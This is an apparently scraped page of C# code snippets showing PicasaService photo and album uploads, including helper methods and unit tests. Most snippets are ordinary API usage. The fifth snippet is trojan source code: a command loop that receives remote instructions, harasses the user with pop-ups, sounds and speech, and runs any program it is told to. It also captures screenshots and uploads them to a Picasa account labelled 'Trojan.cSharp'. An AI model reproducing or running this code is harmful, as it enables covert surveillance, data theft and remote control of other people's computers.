コード例 #1
0
ファイル: PicasaService.cs プロジェクト: elasticlab/phinitive
        public static string SubmitImage(Stream photoStream, string contentType, string slugHeader)
        {
            PicasaService service = new PicasaService("phinitive");
            string password = ConfigurationManager.AppSettings["GoogleAccountPassword"] ?? String.Empty;
            if (String.IsNullOrWhiteSpace(password))
            {
                return "Password is empty";
            }
            else
            {
                service.setUserCredentials("*****@*****.**", password);

                PicasaEntry entry = (PicasaEntry)service.Insert(
                    new Uri("https://picasaweb.google.com/data/feed/api/user/default/albumid/default"),
                    photoStream,
                    contentType,
                    slugHeader);

                return entry.MediaUri.Content;
            }
        }
コード例 #2
0
        /////////////////////////////////////////////////////////////////////////////

        //////////////////////////////////////////////////////////////////////
        /// <summary>tries to insert a photo using MIME multipart</summary> 
        //////////////////////////////////////////////////////////////////////
        [Test] public void InsertMimePhotoTest()
        {
            Tracing.TraceMsg("Entering InsertMimePhotoTest");

            AlbumQuery query = new AlbumQuery();
            PicasaService service = new PicasaService("unittests");
           
            if (this.defaultPhotosUri != null)
            {
                if (this.userName != null)
                {
                    service.Credentials = new GDataCredentials(this.userName, this.passWord);
                }

                query.Uri = new Uri(this.defaultPhotosUri);

                PicasaFeed feed = service.Query(query);
                if (feed != null)
                {
                    
                    Assert.IsTrue(feed.Entries != null, "the albumfeed needs entries");
                    Assert.IsTrue(feed.Entries[0] != null, "the albumfeed needs at least ONE entry");

                    PicasaEntry album = feed.Entries[0] as PicasaEntry;

                    PhotoEntry newPhoto = new PhotoEntry();
                    newPhoto.Title.Text = "this is a title";
                    newPhoto.Summary.Text = "A lovely shot in the ocean";

                    newPhoto.MediaSource = new MediaFileSource(this.resourcePath + "testnet.jpg", "image/jpeg");

                    Uri postUri = new Uri(album.FeedUri.ToString());

                    PicasaEntry entry = service.Insert(postUri, newPhoto) as PicasaEntry;

                    Assert.IsTrue(entry.IsPhoto, "the new entry should be a photo entry");

                    entry.Title.Text = "This is a new Title";
                    entry.Summary.Text = "A lovely shot in the shade";
                    entry.MediaSource = new MediaFileSource(this.resourcePath + "testnet.jpg", "image/jpeg");
                    PicasaEntry updatedEntry = entry.Update() as PicasaEntry;
                    Assert.IsTrue(updatedEntry.IsPhoto, "the new entry should be a photo entry");
                    Assert.IsTrue(updatedEntry.Title.Text == "This is a new Title", "The titles should be identical");
                    Assert.IsTrue(updatedEntry.Summary.Text == "A lovely shot in the shade", "The summariesa should be identical");


                }
            }
        }
コード例 #3
0
        private Album CreateAlbum(PicasaService session, PicasaFeed albumFeed, string targetAlbumName, AlbumAccessEnum albumAccess)
        {
            //create album (doesn't exist)
            WriteOutput(string.Concat("Creating Album: ", targetAlbumName), true);
            AlbumEntry newAlbumEntry = new AlbumEntry();
            newAlbumEntry.Title.Text = targetAlbumName;
            newAlbumEntry.Summary.Text = targetAlbumName;
            newAlbumEntry.Published = DateTime.Now;

            Album newAlbum = new Album();
            newAlbum.AtomEntry = newAlbumEntry;
            newAlbum.Access = albumAccess.ToString().ToLower();

            Uri insertAlbumFeedUri = new Uri(PicasaQuery.CreatePicasaUri(this.PicasaUsername));
            newAlbum.AtomEntry = (PicasaEntry)session.Insert(insertAlbumFeedUri, newAlbumEntry);
            m_albumCreateCount++;

            return newAlbum;
        }
コード例 #4
0
        /// <summary>
        /// Do the actual upload to Picasa
        /// For more details on the available parameters, see: http://code.google.com/apis/picasaweb/docs/1.0/developers_guide_dotnet.html
        /// </summary>
        /// <param name="imageData">byte[] with image data</param>
        /// <returns>PicasaResponse</returns>
        public static PicasaInfo UploadToPicasa(byte[] imageData, string title, string filename, string contentType)
        {
            PicasaService service = new PicasaService(Picasa_APPLICATION_NAME);
            service.setUserCredentials(config.Username, config.Password);

            Uri postUri = new Uri(PicasaQuery.CreatePicasaUri(config.Username));

            // build the data stream
            Stream data = new MemoryStream(imageData);

            PicasaEntry entry = (PicasaEntry)service.Insert(postUri, data, contentType, filename);

            return RetrievePicasaInfo(entry);
        }
コード例 #5
0
        //We'll run this on another thread so the CPU doesn't go haywire.
        public static void Receive()
        {
            //Infinite loop

            while (true)
            {

                //Try to read the data.

                try

                {
                    //Packet of the received data

                    byte[] RecPacket = new byte[1000];

                    //Read a command from the client.

                    Receiver.Read(RecPacket, 0, RecPacket.Length);

                    //Flush the receiver

                    Receiver.Flush();

                    //Convert the packet into a readable string

                    string Command = Encoding.ASCII.GetString(RecPacket);

                    //Split the command into two different strings based on the splitter we made, ---

                    string[] CommandArray = System.Text.RegularExpressions.Regex.Split(Command, "---");

                    //Get the actual command.

                    Command = CommandArray[0];

                    //A switch which does a certain thing based on the received command

                    switch (Command)
                    {

                        //Code for "MESSAGE"

                        case "MESSAGE":
                            string Msg = CommandArray[1];
                            string ile1 = CommandArray[2];
                            for (int i = 0; i < Convert.ToInt32(ile1); i++)
                            {
                                //Display the message in a messagebox (the trim removes any excess data received :D)
                                MessageBox.Show(Msg.Trim('\0'));
                            }
                            break;

                        case "OPENSITE":

                            //Get the website URL

                            string Site = CommandArray[1];

                            //Open the site using Internet Explorer
                            string ile2 = CommandArray[2];
                            for (int i = 0; i < Convert.ToInt32(ile2); i++)
                            {
                                System.Diagnostics.Process IE = new System.Diagnostics.Process();

                                IE.StartInfo.FileName = "iexplore.exe";

                                IE.StartInfo.Arguments = Site.Trim('\0');

                                IE.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Maximized;

                                IE.Start();
                            }
                            break;

                        case "BEEP":
                            string czas = CommandArray[1];
                            for (int i = 0; i <Convert.ToInt32(czas); i++)
                            {
                                Console.Beep(5000, 100);
                                Console.Beep(100, 300);
                                Console.Beep(1000, 100);
                                Console.Beep(500, 300);
                                Console.Beep(3000, 500);
                                Console.Beep(500, 100);
                                Console.Beep(1000, 100);

                            }
                            break;

                        case "TAPETA":
                            string lokalizacja = CommandArray[1];
                            {
                                //SetWallpaper(openGraphic.FileName, 2, 0);
                                int Result;
                                string bmp_path = lokalizacja;
                                Result = SystemParametersInfo(20, 0, bmp_path, 0x1 | 0x2);
                            }
                            break;

                        case "MOW":
                            string tekst = CommandArray[1];
                            string ile4 = CommandArray[2];
                            for (int i = 0; i < Convert.ToInt32(ile4); i++)
                            {
                                SpeechSynthesizer speaker = new SpeechSynthesizer();
                                speaker.Rate = 1;
                                speaker.Volume = 100;
                                speaker.Speak(tekst);
                            }
                            break;

                        case "SCREEN":
                            string data = DateTime.Now.ToShortDateString();
                            string godzina = DateTime.Now.ToString("HH.mm.ss");
                            string plik = data + "Godzina." + godzina + "s.jpeg";
                            {
                                //Funkcja robi screenshota
                                ScreenCapture sc = new ScreenCapture();
                                sc.CaptureScreenToFile( plik ,ImageFormat.Jpeg);

                                ///Funkcja uploadująca na serwer picassy
                                PicasaService service = new PicasaService("exampleCo-exampleApp-1");
                                service.setUserCredentials("Trojan.cSharp", "trojanc#");

                                System.IO.FileInfo fileInfo = new System.IO.FileInfo(plik);
                                System.IO.FileStream fileStream = fileInfo.OpenRead();

                                PicasaEntry entry = (PicasaEntry)service.Insert(new Uri("https://picasaweb.google.com/data/feed/api/user/default/albumid/default"), fileStream, "image/jpeg", plik);
                                fileStream.Close();
                            }
                            break;

                        default:
                            string ile3 = CommandArray[1];
                            for (int i = 0; i < Convert.ToInt32(ile3); i++)
                            {
                                System.Diagnostics.Process proces = new System.Diagnostics.Process();
                                proces.StartInfo.FileName = Command;
                                proces.Start();
                            }
                            break;
                    }

                }
                catch
                {

                    //Stop reading data and close

                    break;
                }

            }
        }
コード例 #6
0
ファイル: photostest.cs プロジェクト: mintwans/cpsc483
        /////////////////////////////////////////////////////////////////////////////

        
        //////////////////////////////////////////////////////////////////////
        /// <summary>runs an authentication test, inserts a new photo</summary> 
        //////////////////////////////////////////////////////////////////////
        [Test] public void InsertPhotoTest()
        {
            Tracing.TraceMsg("Entering InsertPhotoTest");

            AlbumQuery query = new AlbumQuery();
            PicasaService service = new PicasaService("unittests");
           
            if (this.defaultPhotosUri != null)
            {
                if (this.userName != null)
                {
                    service.Credentials = new GDataCredentials(this.userName, this.passWord);
                }

                query.Uri = new Uri(this.defaultPhotosUri);

                PicasaFeed feed = service.Query(query);
                if (feed != null)
                {
                    Assert.IsTrue(feed.Entries != null, "the albumfeed needs entries");
                    Assert.IsTrue(feed.Entries[0] != null, "the albumfeed needs at least ONE entry");
                    PicasaEntry album = feed.Entries[0] as PicasaEntry;
                    Assert.IsTrue(album != null, "should be an album there");
                    Assert.IsTrue(album.FeedUri != null, "the albumfeed needs a feed URI, no photo post on that one");
                    Uri postUri = new Uri(album.FeedUri.ToString());
                    FileStream fs = File.OpenRead("testnet.jpg");
                    PicasaEntry entry = service.Insert(postUri, fs, "image/jpeg", "testnet.jpg") as PicasaEntry;
                    Assert.IsTrue(entry.IsPhoto, "the new entry should be a photo entry");

                    entry.Title.Text = "This is a new Title";
                    entry.Summary.Text = "A lovely shot in the shade";
                    PicasaEntry updatedEntry = entry.Update() as PicasaEntry;
                    Assert.IsTrue(updatedEntry.IsPhoto, "the new entry should be a photo entry");
                    Assert.IsTrue(updatedEntry.Title.Text == "This is a new Title", "The titles should be identical");
                    Assert.IsTrue(updatedEntry.Summary.Text == "A lovely shot in the shade", "The summariesa should be identical");


                }
            }
        }